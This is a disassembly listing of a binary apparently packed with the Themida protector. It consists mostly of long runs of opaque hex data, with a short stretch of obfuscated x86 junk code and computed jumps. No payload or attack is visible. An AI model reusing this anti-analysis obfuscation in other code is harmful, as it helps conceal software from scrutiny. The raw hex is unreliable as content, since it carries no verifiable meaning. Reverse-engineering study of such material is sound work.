9B3B19A8h dd 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h, 557A4767h dd 0B6A9A620h, 83A6F16h, 0C7E470BDh, 0CC5FCE0h, 0B4088BFBh dd 0EFEDF796h, 0C31178C9h, 0E9D1EE8Fh, 2869F85Ch, 0A318B2A0h dd 0CCEBC8BEh, 0D7FB55E6h, 8DFCC484h, 168E988Ch, 0FA56E5CDh dd 45A22A6Bh, 91C4E3C0h, 0A8A8935h, 0C68CDCFEh, 3FCE1DA7h dd 0A8A88DFh, 0B081C91Bh, 0FD523F8Eh, 0FA9BFA4Bh, 0D16A686Bh dd 3E36CA1Eh, 0B8D97DFDh, 3864D531h, 5AADA578h, 0A7A5381Ah dd 569EB603h, 0A8CFh, 6CBD7300h, 0E06D51E0h, 2094E574h dd 88109DB1h, 91B71735h, 0FF3D0C40h, 0C589D9EAh, 57741574h dd 8EB52326h, 3999FC16h, 5A2E4FDh, 7500DED0h, 19B6D710h dd 83F2A431h, 474FC07h, 0DC694DD0h, 98BA1978h, 0D7360745h dd 0CCEECF0Dh, 0CA0CD47Ah, 60A4D97Bh, 7D79FA30h, 10F1F3EEh dd 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh, 17A68C2Ah dd 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h, 5171DB6Eh dd 0BC164788h, 8516B6AAh, 70BD320Ch, 54E3C7E4h, 0C9E6F4FCh dd 0CF3E50E1h, 109DB553h, 5098F91Ch, 1A1ABFEh, 4BE0C2A7h dd 50E1F3FDh, 0D8696DFCh, 0E5735774h, 33BDDC6Dh, 99B10325h dd 563386C8h, 0F5684701h, 109DB499h, 64422362h, 2940593Ah dd 6E0F7E5Dh, 7F168EA5h, 0F1A70F58h, 8A2CD9B6h, 91721335h dd 4489DFCh, 16AABFE1h, 62CE254Ah, 5F6CB6D7h, 6D4075B0h dd 1F4E6D0Ch, 18F0FBA2h, 4DC93C1Bh, 160CECE5h, 29A5D8F7h dd 0F20CECE5h, 799C4993h, 99CCEBE8h, 0CECE53Dh, 0DE6FE371h dd 636DB0BFh, 57741257h, 0DAF8D926h, 0E8C74612h, 8FDE70C2h dd 0BAD95A48h, 5031789Dh, 0D6674B88h, 7765976h, 6D6888Bh dd 0A9A73154h, 3711A68Ch, 0FBDDE726h, 5E901C6Ah, 6F2E6778h dd 17175B0Eh, 89207C5Bh, 0FE24Ch, 2C2AB800h, 341AAC8Eh dd 2A20B496h, 3B15A68Ch, 2C28B59Bh, 7B909F8Eh, 624866EEh dd 2280D2h, 1B3D9DABh, 172482CAh, 0AC49C538h, 0FF1216B6h dd 0E06CBD63h, 90D2DCC3h, 3F30D03Ah, 0B80061F1h, 0B0D60B29h dd 6DBE213h, 62C168Fh, 48C998B2h, 71E4E380h, 0A8B0415h dd 1DEBFDEh, 77C68AD9h, 9090CE16h, 0B18E2D59h, 4035F8Eh dd 49CC0A8Bh, 0EFD5007Fh, 4C6E107Bh, 0DA8751F7h, 0FB5BAABBh dd 520477EEh, 0B39443B8h, 77EEC842h, 0C40C9104h, 9BD05C1Ch dd 0CA1C3E50h, 0DDC81F84h, 8DAB3D3Ch, 45DC43h, 0A3820000h dd 0CCEBC8BEh, 0B5207AEBh, 0A4E9109Dh, 0FBF8ED1Ch, 3921168Eh dd 0CD1AA2A6h, 0F4476B48h, 89077654h, 0C10A8A65h, 0D8FFDC70h dd 6B263BE6h, 6F6D771Fh, 352F649h, 0F02C6h, 0D8BEE900h dd 86E92CE3h, 0A365EFF9h, 7AEBC8BEh, 1685488Eh, 0D4735C7Bh dd 288530A1h, 68B22C5Dh, 1A7B0A85h, 0D4735C7Bh, 9CE30D6h dd 0BB9FBC04h, 0A384222Ah, 47F55184h, 5FBE0A85h, 5860E87Bh dd 0D869E376h, 0A20185DCh, 6CD99833h, 1BB8DD10h, 88C2163Ch dd 0B4795B9h, 0DD70626Ah, 0D8694F6Fh, 0B8B864AEh, 8EEFE0E7h dd 1E6881BFh, 95114CC1h, 3B5A0A5Ch, 0DDC8D646h, 815C0B73h dd 0E83h, 2B8BCB17h, 3999B505h, 2585C517h, 3E9CB403h, 2787CD1Ch dd 83D23BF4h, 81CFF1D1h, 7CCFF1D1h, 79CCEECCh, 0E9E6F3D3h dd 0B6AE1A74h, 94AEE316h, 9DB51270h, 592D3410h, 46580B7Ah dd 88D1685h, 163687ABh, 0D3F92B8h, 9DE9003Ch, 0B3C6CF3Eh dd 66A71075h, 0F6E493F3h, 0D8F5B479h, 0E23h, 4B6BEB77h dd 5979D565h, 4565E577h, 5E7CD463h, 4767ED7Ch, 23B2DB54h dd 21AF9131h, 1CAF9131h, 19AC8E2Ch, 89C69333h, 0B6ADFA54h dd 0F44EC316h, 14FE0C2h, 84495B7h, 0C2C41539h, 2B871D89h dd 83D2B3D2h, 0E6775B7Ch, 2EB6D766h, 9AC067E4h, 63F14045h dd 5222BA02h, 0FAA341A9h, 890h, 0FDDC260h, 279AF514h, 5D84B038h dd 0D75B8A29h, 0F016857Bh, 0E90027E7h, 75E80E20h, 0A850419h dd 0A3C2A3E2h, 0C18B1E04h, 4DDEC4E1h, 9D33203h, 0F9D676C7h dd 0BC0B82D1h, 7CEBF594h, 85038D0Dh, 0CCBAAF0Ah, 0D37BCBEFh dd 0E6EE5EEFh, 0F57D84F9h, 0ECCE1075h, 7CE9F359h, 27086419h dd 561579F7h, 0D5E7Bh, 0A8AE3C00h, 0B896280Ah, 0A6A4381Ah dd 0BF912208h, 0A8AC391Fh, 0F7141B0Ah, 0E6CCEA6Ah, 0FCDEFC56h dd 0DFC1E167h, 13E0FE4Eh, 0AF3D99CCh, 930616B6h, 0E06CBDAFh dd 20557251h, 109DB4A6h, 0B4A62E6Fh, 751A2B21h, 783864D5h dd 0E0A341E6h, 7DCh, 0B5127076h, 6F53109Dh, 2E1EAFE2h dd 3039854Fh, 0A2047956h, 3B168547h, 0ABDAFDDAh, 0A84C12Fh dd 2CA6D7F8h, 0F50A84C1h, 0EAE7F190h, 0F7D775C8h, 310E80D1h dd 84C162BCh, 7BEA2B0Ah, 0A84C11Fh, 75C4A5E8h, 43913237h dd 0BEDF3E0Fh, 6D193E21h, 4A77AB86h, 272E5D67h, 8107638h dd 6946D085h, 0E87F79F7h, 0CA6EDh, 0F066F400h, 0F05EF0D2h dd 0EE5CF0D2h, 0F759EAD0h, 0F064F1D7h, 1F4CE3D2h, 0BEE4C292h dd 0E4C6E46Eh, 0F7D9F94Fh, 0FBC8E666h, 0B025A1D4h, 0BBEE16B6h dd 0E06CBD87h, 70DC6D51h, 0F4CF6C53h, 44C49E39h, 0AC26ED7Ch dd 7E2FED0Fh, 2597A341h, 28000007h, 559FB102h, 0C8BEA38Bh dd 484B7AEBh, 96BC1685h, 0DA3B0A44h, 5BEA68F8h, 567C5B3Ah dd 435D8303h, 0BC5957B7h, 22432228h, 410B9E84h, 61EF4062h dd 0B827B1D0h, 0BCCEB49Bh, 994A2D46h, 0BC52B04Fh, 0AF930A84h dd 0E1203121h, 86DBD7h, 0AD4B32A3h, 0E92C1075h, 0F6DDEC74h dd 7F5A1179h, 0BF7h, 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h dd 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h dd 557A4767h, 0B6AFA620h, 83A6F16h, 51E06CBDh, 8BFF5072h dd 72CADD3Eh, 340564CDh, 0BA8BBD12h, 0A0B23A5Bh, 692E3F0Dh dd 6C2C50E9h, 0EA34135h, 0A4626429h, 8BCC2134h, 71D5759Dh dd 0D14890F1h, 65Ch, 1F6BC0E2h, 9EA474EEh dd 0B9D83D10h, 1570A52Fh, 2F109DB5h, 1337893Ah, 5A2C342h dd 854880D0h, 2E7DA516h, 0C84D9A22h, 0C7EBCCEBh, 2FABDA7Ah dd 0F80A84C2h, 0B8094B95h, 0C1143694h, 637EBA8Bh, 0B180CE60h dd 0B5923150h, 0C8103C8Dh, 75BCDC39h, 0ED60A510h, 79F6DA7Dh dd 3002DF8Eh, 6A00000Bh, 765C7ADCh, 664C6AE4h, 785A78D2h dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h dd 2824B59Bh, 6F9EC18Ah, 16B6B0F3h, 0BDF965BCh, 6D51E06Ch dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0A5A341EAh, 120h dd 0E06CBDB9h, 0B2DC6D51h, 9DB4C743h, 6C0D9010h, 6F17524Eh dd 0A2E01D50h, 0EED9168Eh, 0EDB0625Ch, 0BB8D22A8h, 0C20A6BAAh dd 2051E025h, 0A8AA8A2h, 74F5DAF9h, 43668CA9h, 0A9226C74h dd 0AD6BB583h, 0E173575Ah, 2FB9D869h, 20E8h, 0BEA34E00h dd 9B7AEBC8h, 6C168E98h, 69E91829h, 0C00A8A89h, 0C987B546h dd 715AAD3Eh, 9Eh, 69DDC2C5h, 9D3EAF22h, 0ABFE5098h, 1FAE90A1h dd 8F222435h, 0AD3C1EBDh, 8CCE1DA7h, 40B31339h, 109DCFBCh dd 3B9BB104h, 3A0E6FBh, 88175ED2h, 9D3A5B16h, 0E16628B5h dd 0A963270Ah, 85AD0A6Bh, 0C6471632h, 6BFAE0FEh, 1DC074E9h dd 6EFD800Dh, 0A2673h, 70E67400h, 70DE7052h, 6EDC7052h dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh dd 775979CFh, 7B4866E6h, 0B1A52154h, 3B6E16B6h, 0E470BD07h dd 72C1E9C6h, 0C60E8FDEh, 0AC0B4194h, 0BCC1183h, 0E2EADFF8h dd 6CBD56F4h, 0AB008F1Dh, 2C6DFC9Dh, 87DAFC4Dh, 95CAE5C5h dd 68000004h, 0DB0ABEA3h, 109DB57Fh, 1D2A22B3h, 0CC86D6F8h dd 5E7D1C7Dh, 8EAD862Fh, 35A8A716h, 0A8A9AD9h, 330263A2h dd 8A9B44C2h, 0DA6F9B0Ah, 0AD0CE2B2h, 1F14A5Ah, 70F00000h dd 109DB517h, 0A0FA6B4Ch, 69109DB4h, 49A09C24h, 36F9E3Dh dd 0AC168548h, 456D4A69h, 8B0A5BF7h, 8EBE0F41h, 95B70A30h dd 8DC31436h, 0D4935DBCh, 0D6F591D8h, 3ED2CEF1h, 0EBF593D9h dd 6D227FEEh, 0AAEB1076h, 0F78D0BB7h, 58753479h, 93Fh dd 67470F5Bh, 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h dd 7FCE3FF0h, 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh dd 0B6B30E88h, 0A0C2D716h, 0C91A6CBDh, 0AF7A372Dh, 12340564h dd 0C0B2C7BFh, 55088956h, 0E6FE371h, 40B9573Fh, 0AD0D3F92h dd 41AE4715h, 3FE29A3h, 0C0EF19BCh, 3CB2E9F3h, 88000001h dd 51E06CBDh, 5370DC6Dh, 0F3A3296Ch, 268DA14Dh, 1282867Eh dd 2E2CB49Bh, 308FF7F2h, 0FB84DE0Fh, 0C84D109Dh, 68F953E6h dd 43B29F29h, 168EE8E6h, 0EE1F2E6Fh, 0A8AE570h, 8EAE4BC7h dd 5AACD6CEh, 4276h, 0E0C2CC00h, 2E6FFE4Ch, 374F9AA6h dd 6C21B298h, 0A2E372D8h, 0FBDCF9C3h, 0B52DA9DCh, 97F6109Dh dd 98DFBE4Dh, 6DB0168Eh, 8CDBFFDCh, 0CC1475C4h, 8A88DD3Dh dd 61DA340Ah, 0AD3E7D3Bh, 0A2E55Ah, 0BD790000h, 6D51E06Ch dd 0E6E574E0h, 0EC2175C4h, 109DB572h, 31BBDA3Bh, 0AFBE8E1Fh dd 94321AABh, 9DE7EB61h, 0C6371810h, 109D624Ch, 0E6E8F015h dd 50CA3B53h, 19109D62h, 0F93595F4h, 0C43996F0h, 1687C030h dd 0E7CBE82Dh, 0F6DCFA5Ah, 0D078ED67h, 0E5800CF0h, 7FD0B46h dd 119D0000h, 0F3436545h, 3557B5Bh, 0F2416747h, 0B5A805Eh dd 0F53A6949h, 0AB0B4998h, 0BB1B3785h, 0A8064295h, 0BD1D2F82h dd 0E03AABB4h, 0A916B6B3h, 0DDC2CE70h, 0FA6BDA9Dh, 109EAAA0h dd 0D17F2469h, 8DBF09A0h, 94B61440h, 0DAB0B41h, 51E06CBDh dd 5270DC6Dh, 27377h, 0DE725800h, 0C2FA646Ch, 3DB3D2DDh dd 0B3D263EFh, 5C6F6E0Ch, 45412894h, 0D3614966h, 25AFEE7Fh dd 8625D6E6h, 3687CB16h, 0A7C64716h, 9EE76796h, 0D43E0A85h dd 471537h, 0E3EF5AA6h, 53000001h, 9DB51770h, 52342D10h dd 47E80075h, 0A8ED1685h, 0B696270Bh, 0AFA33119h, 67757F9Eh dd 7F5CF041h, 43DAD958h, 85A6B812h, 0B71C810Ah, 14DC64F2h dd 2547655h, 3138844Ch, 4547655h, 2459864Eh, 107617A9h dd 985E1372h, 0D979F737h, 7153712h, 39850000h, 4B9BBD1Dh dd 2B7DA303h, 4A99BF1Fh, 3382A806h, 9D928121h, 5373E170h dd 5373DF6Dh, 506EDA6Dh, 5575D76Ah, 0B812438Ch, 8116B6B4h dd 6CBD3628h, 0DC6D51E0h, 0BE7A52AAh, 1C5106D3h, 109DFEC2h dd 0A6B0A8Bh, 2002533Bh, 0BEC1FB8Fh, 6DE65D4Bh, 14DC3D0Ch dd 7456017Ah, 6D5F69DFh, 0FA5270DCh, 0A3419C3Ah, 125A2h dd 6CBDB800h, 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h dd 72D02130h, 0C90A8A9Fh, 0D0A0CC3Dh, 785AAD0Ch, 2Ah, 0C8BEA3DEh dd 989B7AEBh, 296C168Eh, 8969E918h, 46C00A8Ah, 3EC987B5h dd 0BB715AADh, 42000000h, 2ABACB60h, 99F84928h, 6CBD854Fh dd 557251E0h, 9DB4A620h, 0C88ADA10h, 0CA4B1879h, 0C68F4EE5h dd 0C20AC8C0h, 42134190h, 0CE9FAD00h, 3317A991h, 0BE8C2022h dd 72C315DFh, 2389FCDAh, 2B109EA7h, 1414B29Ah, 0EB1AB9CDh dd 16887155h, 0AE943352h, 0B996351Fh, 886CCA44h, 4D72930Ah dd 5F2EA2E6h, 63717BA4h, 0F164F03Dh, 800DD62Bh, 0F0B49158h dd 0AA000005h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h, 68E4755Bh dd 2F5E814Ah, 16B6B5B3h, 0C239257Ch, 0B0FD68DDh, 0D7E19FE9h dd 0CFEC68F5h, 0E8F058EBh, 0D775C8EAh, 6CBD59F7h, 71C08C1Dh dd 0C842B310h, 91109DB4h, 0FFDC6D0Ch, 34F2D4D8h, 4A92CB34h dd 3797B508h, 5318h, 0DDC2B600h, 0C4390BEBh, 109DB64Ah dd 24CDF213h, 0EF5FEFBDh, 0C114468Eh, 0B29DBA8Bh, 365778B9h dd 0A9FEA077h, 0B203559Fh, 3A87CB9Ah, 0B8074B1Ah, 5993C998h dd 80832FE0h, 0BC611E95h, 73088ADDh, 0DE6EBFh, 118D00DFh dd 0DA109DF5h, 472631BBh, 8C000000h, 4EE0C2h, 94396B8h dd 23A28DAAh, 5368E143h, 0B1B32F5Eh, 197C109Eh, 60E110CFh dd 41109EB2h, 0B08F38D1h, 9EB1E13Dh, 616BAA10h, 516EDE6Fh dd 86B0466h, 6771DC69h, 0D2664C69h, 0C7E15378h, 2703B73Bh dd 6CBD439Dh, 0B557B322h, 0FD20109Dh, 72C387D9h, 0C5E37213h dd 0EACDEA9Ch, 9DB51F7Bh, 76E7E810h, 109DB51Ch, 0F7C1A0E5h dd 82D5FDDAh, 818FFEC6h, 6E168548h, 0C1A2FC71h, 2A6B0A84h dd 0F3466C4Bh, 6577959h, 0F2D8F746h, 8CCBF062h, 1D4A782Ah dd 0F5EC4890h, 8C33291h, 4D106C47h, 0F899B505h, 0E666F7DBh dd 0FD4FE2C8h, 6D19506Ch, 0A2021F4Eh, 9CBB0A5Ch, 58A0ED69h dd 8D57B6FEh, 0FEC8BDE0h, 1773DDD6h, 4657550h, 0A9350000h dd 9B2B0DADh, 9B2D13B3h, 9A290FAFh, 0A33218B6h, 0D2211B1h dd 0A30351E0h, 83232F7Dh, 0A03E0A9Dh, 852527BAh, 0E86293BCh dd 0B116B6B7h, 6CBDC678h, 4DE0C2E0h, 0D96C6EFFh, 0AE1CE273h dd 0B2D4651Dh, 96E38125h, 9DA07279h, 0C5CF5D42h, 4EC83Dh dd 0F617109Eh, 7CD8F697h, 0A341A1BCh, 5E24h, 0DDC23A00h dd 2C9CE174h, 0E6529AB3h, 32C8BFBh, 2009FD0Fh, 0D409A6AEh dd 109E287Ah, 0DDFAC243h, 8F6EB5A8h, 69FCDE16h, 468CD9E3h dd 8A0B5AF4h, 7AEBCCEBh, 0A8AD920h, 3F1CA4E9h, 0A5A73A20h dd 696B7594h, 6D5572D6h, 6E6C74E0h, 8AD8A1FFh, 0C488D90Ah dd 0D96FC4E6h, 3A54D88h, 0BDF10000h, 6D51E06Ch, 6C5370DCh dd 2238D9D0h, 3220A865h, 3C9BEBF6h, 8F0B6CC9h, 3390F516h dd 0EC401F0Ch, 45CDF258h, 9847911Eh, 8BB3E969h, 2F13400Ah dd 7507AC9Ch, 92919741h, 0E455AF39h, 0ACD8F8B8h, 29B89A5Ah dd 207AA12Bh, 0E0000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0C5715Ah, 0BDC50000h dd 0A58D1A6Ch, 0F464E27Bh, 0A087C495h, 7AFD6D0Bh, 6E60680Ch dd 0E2E475DFh, 6F6CFD4Fh, 0C4C11D50h, 0B8A109Dh, 0E3E8FC1h dd 0C0C73DB0h, 9E2F109Dh, 972A10AEh, 83A7A4B5h, 45035833h dd 0ECF495F4h, 9B2A99D0h, 869A8B9h, 90EF3AABh, 7598168Eh dd 76105955h, 0F78A2459h, 72931074h, 0B1E06D55h, 0FC1D2C20h dd 0B9193E9Dh, 0A411572Eh, 59E862F6h, 418F5938h, 0CF82D25Fh dd 79FAE825h, 0B446832Ah, 0E6000002h, 0FAE0FE58h, 0E2C8E668h dd 0FCDEFC4Eh, 0E3C5E56Bh, 0EDE0FE56h, 0B89C2942h, 0AAA8381Ah dd 0B791260Ch, 0ACA03117h, 0EB1A450Eh, 16B6BA6Fh, 0BD7DE138h dd 0F39B1E70h, 220CC71h, 0CC5D4363h, 0A3882280h, 7AEBC8BEh dd 168E989Bh, 0E918296Ch, 0A8A8969h, 2D3C18A5h, 66F59C29h dd 0D4BA8BEAh, 9D0C536h, 10E00C7Dh, 0B85AAD3Eh, 0D8h, 0E06CBD9Eh dd 74E06D51h, 0B12094E5h, 3588109Dh, 4091B717h, 0AA90AF0Ch dd 0C9453416h, 92109DAFh, 0BEFA6973h, 0E3C4E3A3h, 0B03591C4h dd 0DCFE109Dh, 1574C58Bh, 0D01D6C74h, 79168E80h, 6598B714h dd 0A8A7EE9h, 4B8953B2h, 5370164Bh, 74DC2722h, 0EADF010h dd 0A5B49A2Ch, 0BC164764h, 850474D7h, 0B79BB800h, 0A28D2A2Ah dd 0AF09680Bh, 70DE7092h, 0F7C1A0E1h, 0AADBFCD9h, 475AF30h dd 0A4C94F9h, 0F6E499BBh, 2779FAE4h, 1B94580h, 55E10000h dd 2F7FA101h, 4799BF1Fh, 2E7DA303h, 0F9E8422h, 0F9366545h dd 0AF0F4594h, 0B7173B89h, 0AC0A3E91h, 0B9193386h, 0E43EAFB0h dd 0AD16B6BAh, 70BDCA74h, 51E4C6E4h, 6E5F9635h, 0E775E09Eh dd 4B6B0A6Bh, 56F4486Ah, 0A43E8607h, 51E06CBDh, 1FADDC6Dh dd 82E32233h, 0A1ABFE24h, 764D9490h, 0AD0A6BE5h, 3513A88Ah dd 0ACDBE524h, 168EA359h, 96F06542h, 5F0A8A9Eh, 0D439B63Eh dd 0CD85D3F7h, 64F559E9h, 0A4C9B25h, 2BA7D6B6h, 0F40A8A9Fh dd 5D61F091h, 0F0EF7ECAh, 8A9F217Dh, 43ABEA0Ah, 6B4134C5h dd 87DA8801h, 0C0A9E5C5h, 0E4C6E9C6h, 2E6FFE54h, 6FF267A6h dd 6AAB107Bh, 0E666F7DBh, 0FD8E0457h, 7350362Bh, 683E8F02h dd 0AF02480Ah, 0FCDEFC9Dh, 7052E369h, 714E6DDBh, 643BA2FCh dd 882A6BFEh, 1CCB1533h, 7D35C648h, 8682202Ch, 77D5685Bh dd 0E9C6A7E6h, 552A4174h, 0A5BBA04h, 0F8D775C8h, 0F91107CFh dd 428A0F44h, 0C643ADA3h, 409FE702h, 41F178CDh, 5BE9F1FEh dd 462766F7h, 0D5634768h, 2247737Dh, 42684764h, 62B995EDh dd 0D957014Fh, 32D130B8h, 0EFF82591h, 46F4C6C8h, 8F4B94C5h dd 0A9983F2Bh, 3AA7317Eh, 0F5488ADBh, 517757h, 0E2CC1E86h dd 0F3925550h, 0B5EB1362h, 29B7EBE4h, 0A3361829h, 66F751E6h dd 0D3F74627h, 1A7BCA82h, 0C6AF4CC6h, 0D68CFD75h, 0C7E9C983h dd 4387D676h, 587F5CF4h, 0CBB89858h, 1AC913E2h, 832FCC46h dd 0AD295C32h, 76EB649Eh, 0E2093251h, 0A6C70E03h, 70C1E7C7h dd 0C508DDCh, 0EE000000h, 0CFA2DDC2h, 4F967B6Ah, 0BD4F1185h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 5E08950h dd 4, 8704E883h, 895C2404h ; --------------------------------------------------------------------------- add al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 4486h mov [esp], esi mov esi, 606B0595h sub esi, 56121E24h and esi, 9F44F15h dec esi inc esi neg esi sub esi, 0F196C49Ch mov edi, esi pop esi push 288Fh mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], edi add dword ptr [esp], 398680Fh pop dword ptr [eax+8] sub dword ptr [eax+8], 398680Fh push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dd 0F1ABF736h, 2E96C670h db 66h, 0D1h ; --------------------------------------------------------------------------- loc_5DCB86: ; CODE XREF: Themida_:loc_5DB66Ej mov eax, 6190802h add eax, ebp jmp eax ; --------------------------------------------------------------------------- push cs and [ebp+43D97A19h], dl sub eax, 5BDC7611h retf 6106h ; --------------------------------------------------------------------------- dw 0B54h dd 583BD35Ch, 9044A22h, 7D273248h, 0A17A5AC9h, 130E2E31h dd 7C52826Fh, 1F61FAEEh, 32489C32h, 844EA704h, 993E8A0Bh dd 792AFCDCh, 7022561Dh, 0DE08DE74h, 0E9342157h, 2Ah, 2347DA2Eh dd 2530000h, 8 dup(0) dd 70E90000h, 6800000Ch, 6190AF4h, 0FB3E3FE9h, 0C1468FFh dd 35E90619h, 68FFFB3Eh, 6190D90h, 0FB3E2BE9h, 0E7368FFh dd 21E90619h, 68FFFB3Eh, 6190F2Dh, 0FB3E17E9h, 110B68FFh dd 0DE90619h, 68FFFB3Eh, 61911CBh, 0FB3E03E9h, 130468FFh dd 0F9E90619h, 68FFFB3Dh, 6191427h, 0FB3DEFE9h, 0B7F812FFh dd 6B4499C9h, 0BCEF0D75h, 6F409EC6h, 1F806111h, 83190DC1h dd 335F415Eh, 79E9D7D4h, 2B574962h, 0EA04DECDh, 0E132A626h dd 1D0A428Dh, 4A6177F0h, 0CEDDFB89h, 0E641DBF4h, 3E3E6672h dd 0EA88883Eh, 0DF6AA238h, 0AD3EA180h, 89637B7Bh, 53DBE7D8h dd 0C0BC1523h, 0BD79B158h, 7325A038h, 63C58119h, 6E569B4Dh dd 33F21F90h, 7A5EB683h, 22087731h, 461AA919h, 204048CBh dd 15000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh, 783CE94Fh dd 8D56F4BDh, 0CA24EE1Dh, 113B448h, 77610000h, 96CE4A61h dd 1B9F1337h, 2C25B33Dh, 0AD663998h, 6EEAC117h, 91A708E6h dd 11B45440h, 6E5F2A6Dh, 18F4E097h, 7B6B5593h, 1B2F913h dd 9056F17h, 0B1F34494h, 0F6A9E1F7h, 54449404h, 0D989F7B4h dd 74ACACFFh, 2324EFh, 604BA014h, 0AC4390AAh, 279F9792h dd 3EA12E24h, 0E868D012h, 9D5D9609h, 0C1E1059Bh, 6678C45h dd 60CCF894h, 0FAAC02B4h, 839DD268h, 3518B0A8h, 23C74D22h dd 416175E1h, 2D9B683h, 0E7F779A9h, 5C850D2Bh, 0A03BD343h dd 80F4C60Bh, 3B8F4467h, 7F93839Dh, 43889D07h, 89396BB7h dd 67797063h, 0F51DBB1Dh, 7B16930Ch, 0A871003Fh, 0A020A7Fh dd 8F6B0000h, 3BD2C220h, 86660E74h, 37C7BB25h, 775A0A78h dd 1006BA28h, 584A557Ch, 2E0CB2Ch, 50327992h, 0F9E7C424h dd 39AB1BE3h, 0F428DE2h, 5A77EB12h, 0D1275B45h, 0B1623DA4h dd 0FB6DDD59h, 0D14494E8h, 0F9DD598Fh, 94E8E751h, 95343544h dd 0ABC0A560h, 0CD53E517h, 0F748D2E6h, 5A21DE17h, 0C63278D7h dd 9400AF4Eh, 3D7D3679h, 746BDBBBh, 523EA1F5h, 1FF82810h dd 7B30CB28h, 7F608436h, 0A47D113h, 346B96FEh, 5DAD4B7Fh dd 0BD790DE7h, 0BB8F5C02h, 0C0F1AE53h, 3B7833D4h, 4BAF497Fh dd 48CB15BCh, 68DC6C68h, 60BD7901h, 0B4761C1Eh, 92000000h dd 13C0DF02h, 773221B7h, 0FB894A61h, 327993D6h, 1E413B78h dd 0EC4494E5h, 51419F0Ch, 30BFF4B7h, 0AB1B1B16h, 0C15E25A0h dd 616E5496h, 0E8EC6CC7h, 0F460E8ECh, 0C4BD7806h, 69E0A82h dd 566EBD78h, 0B88E96C8h, 44D614CFh, 4CDF34C8h, 38D0C4C7h dd 0B7421BCCh, 0D8408ABCh, 3ED09938h, 19493771h, 59E2E7B8h dd 8670FFD2h, 8E21C9Dh, 6F8B0000h, 0DB326240h, 6686EED4h dd 0D7275B45h, 577AEAD8h, 0F0665A48h, 0B82A755Ch, 22802BCCh dd 0B0129972h, 198724C4h, 0D94BBBC3h, 0AF428DE4h, 0E3FB8BB2h dd 0CD06ED6Ah, 88634F90h, 547D1523h, 0CB2D554Bh, 0FBD302E0h dd 0E8056F17h, 0B1F34494h, 0EC0DEB27h, 94E8E85Ch, 6C9EE044h dd 0BABB1DA7h, 71498A21h, 0EA744937h, 0CC2FD73Fh, 3E3EA1F7h dd 146B25Ah, 0F436BD78h, 0BC3E6180h, 0E7DD1648h, 3C289A11h dd 0EAE20F9Ch, 44A22253h, 43172492h, 2E4DB74Fh, 93B3632h dd 6645A3EFh, 0E7048C7Ch, 1DBB0FC4h, 8A6213F5h, 1E1AF021h dd 322E3AAEh, 1AD01236h, 2E7CE3D9h, 825A3632h, 0F5DCE829h dd 0EAC69AAh, 0EAA82345h, 3C6F89E1h, 0F1BA1E46h, 0D2E0DD05h dd 88E750A4h, 0E06B6172h, 69760F7h, 0D5338B58h, 6078ECD6h dd 0CF59864Bh, 1154F464h, 74C079Ch, 0AC5E4D9Fh, 949FA936h dd 0A3E924A4h, 0D4F5232h, 0D471E8E4h, 886C2214h, 0FBB8F308h dd 5F361DD9h, 60AA58A4h, 0C73704DAh, 0D7A6EB38h, 4C45Eh dd 93FB3700h, 9880316Eh, 94E884F0h, 78327444h, 4BCDE2FCh dd 94E855BFh, 0F8B52B44h, 3D9B4494h, 0CFBB6B1Ch, 50F19BC3h dd 374A770Fh, 6B4BC133h, 7385B7BBh, 6B4BA117h, 0B5700ABBh dd 61C6C941h, 0C848C15Eh, 265E7C2Fh, 0B0614AAEh, 621B905Ah dd 0B7771558h, 766ED8Ch, 0F3070000h, 3F9EC6BCh, 8A621270h dd 3BD3BF21h, 7B660E74h, 1C12BE24h, 643E6180h, 0EED4D730h dd 5C466586h, 0E5DBD028h, 2D972FD7h, 1B428DE5h, 6177E72Eh dd 0F7F894Ah, 4A617BFEh, 3A773189h, 0AFF9B24Ah, 0B93A4429h dd 0D73F8922h, 0ABE1F72Fh, 0A921353Eh, 0BD721F3Fh, 6748A50Dh dd 809A50AAh, 58718C04h, 0A2EC238Eh, 6FA466B0h, 0EBC0179Bh dd 2216D426h, 9D5655B2h, 0A145DB5Dh, 45D3DC31h, 375136DCh dd 0F58CFCFCh, 13C74738h, 447DEDD1h, 2D66E07Ch, 0A8201813h dd 7AD381F5h, 9A637D7h, 9CE8F2C8h, 8666EE6Ah, 589219EFh dd 78D95F9Bh, 0E652DD67h, 0FE8C5B66h, 0BB1DB500h, 0F107C3F0h dd 67E74F91h, 0B61E1A91h, 61995A51h, 0CCE355F5h, 0A7D97CD8h dd 85630F91h, 302A526h, 6C57B575h, 6834Dh, 9F10EA00h, 0F3BC5141h dd 0A407E58Dh, 0F7B8563Eh, 0A7F8D989h, 0FB918539h, 0ABD7C9D6h dd 11815F4Ch, 0A3CFB1FAh, 627C6645h, 0E6BA2E9Eh, 9592428Dh dd 0DD48D268h, 7203D979h, 27E3108Fh, 0C73F57E1h, 3EA1F754h dd 0A133E022h, 76AF6447h, 64FEFBC8h, 1056F17h, 